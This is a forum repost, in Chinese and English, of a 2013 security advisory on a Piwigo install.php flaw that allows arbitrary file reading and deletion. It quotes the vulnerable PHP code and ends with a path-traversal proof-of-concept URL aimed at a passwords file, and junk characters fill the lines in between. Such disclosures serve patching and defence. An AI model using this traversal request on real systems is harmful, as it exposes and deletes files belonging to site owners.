中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
: ^! U7 i( W$ Z* E/ d9 H
, U9 w6 n6 T1 x- L4 ~- s
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
6 d6 g9 w+ O# h- g! S
====================================================================
& g& q7 o" J7 [3 G! K) d
/install.php:
5 Y: U' h9 q& Y& @9 [+ c
-------------
D- z2 V- E3 o" T( y1 W' r
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 Y( _0 }3 w- S
114: {
, @: ~! |( U! z1 u/ W- r2 f7 W/ B
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
i: l$ ]. b4 ?7 B+ M/ _: `7 `
116: header('Cache-Control: no-cache, must-revalidate');
5 ?# h+ m- `+ J$ q' _ q8 A+ |
117: header('Pragma: no-cache');
- e4 `! C. Y! @0 D& d5 }% H2 q+ q
118: header('Content-Disposition: attachment; filename="database.inc.php"');
- q5 k6 b' l4 h& R) M% A( h0 T
119: header('Content-Transfer-Encoding: binary');
" T8 B( `9 E& _0 N+ Y
120: header('Content-Length: '.filesize($filename));
. w( |! [; _, C3 j
121: echo file_get_contents($filename);
! G& E( m& h% L" Y0 J8 `! \# B
122: unlink($filename);
: q* c! O: |9 T4 L9 }9 m
123: exit();
& e0 ~& x' s" M4 l! C1 b' F
124: }
8 J0 m+ {5 J& t, ?) j! F9 [
====================================================================
6 ~/ {- \* N# ?5 @
6 \+ H+ w2 r7 H9 x0 j) o% V2 [
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
+ x1 @4 d6 u. Z# j/ J9 Z
Apache 2.4.2 (Win32)
& y2 a: s" ^% }# T1 ~
PHP 5.4.4
1 Q8 [9 v; @/ r& i( N' a& y" h1 S
MySQL 5.5.25a
" D9 e1 R% E7 @% c/ r/ l
/ E5 `; a% B0 T
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
6 K. L3 U8 U: O5 J# i* M; R% W' k
@zeroscience
( y* T8 [2 L4 j4 Q
' r# ]5 _4 W& m7 L, u6 p9 K
Advisory ID: ZSL-2013-5127
! C9 V7 }, M1 P7 R0 z5 K; @7 Z2 b
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
: \8 c7 W! m8 Q) V: v3 s% U
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
6 r6 D& [1 p& g5 i
r* M; p) q! V' Q/ k1 l
15.02.2013
' e# Z7 `6 _2 u) ]" ^0 }, F
/ k4 z5 N: \* `( f
--
2 T5 k. Y; u* h/ k
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
4 e6 J- l3 z; w- c$ c& ?4 Q( {
: M! r# g) l) U |8 Q
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2